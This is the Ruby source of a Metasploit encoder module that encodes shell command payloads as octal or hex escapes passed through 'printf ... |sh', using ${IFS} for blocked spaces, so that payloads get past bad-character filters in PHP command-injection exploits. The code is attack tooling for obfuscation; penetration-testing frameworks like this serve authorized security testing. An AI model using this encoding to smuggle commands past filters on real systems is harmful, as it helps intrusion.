Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/cmd/printf_php_mq.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Encoder67# Has some issues, but overall it's pretty good8# - printf(1) may not be available9# - requires: "\x7c\x73\x68\x5c\x78"10# - doesn't work on windows11# - min size increase: 4x + 912# - max size increase: 4x + 1413# However, because it intentionally leaves backslashes unescaped (assuming14# that PHP's magic_quotes_gpc will take care of escaping them) it is15# unsuitable for most exploits.16Rank = ManualRanking1718def initialize19super(20'Name' => 'printf(1) via PHP magic_quotes Utility Command Encoder',21'Description' => %q{22This encoder uses the printf(1) utility to avoid restricted23characters. Some shell variable substitution may also be used24if needed symbols are blacklisted. Some characters are intentionally25left unescaped since it is assumed that PHP with magic_quotes_gpc26enabled will escape them during request handling.27},28'Author' => 'jduck',29'Arch' => ARCH_CMD,30'Platform' => 'unix',31'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes)32end333435#36# Encodes the payload37#38def encode_block(state, buf)3940# Skip encoding for empty badchars41if(state.badchars.length == 0)42return buf43end4445# If backslash is bad, we are screwed.46if (state.badchars.include?("\\")) or47(state.badchars.include?("|")) or48# We must have at least ONE of these two..49(state.badchars.include?("x") and state.badchars.include?("0"))50raise EncodingError51end5253# Now we build a string of the original payload with bad characters54# into \0<NNN> or \x<HH>55if (state.badchars.include?('x'))56hex = buf.unpack('C*').collect { |c| "\\0%o" % c }.join57else58hex = buf.unpack('C*').collect { |c| "\\x%x" % c }.join59end6061# Build the final output62ret = "printf"6364# Special case: <SPACE>, try to use ${IFS}65if (state.badchars.include?(" "))66ret << '${IFS}'67else68ret << " "69end7071ret << hex << "|sh"7273return ret74end75end767778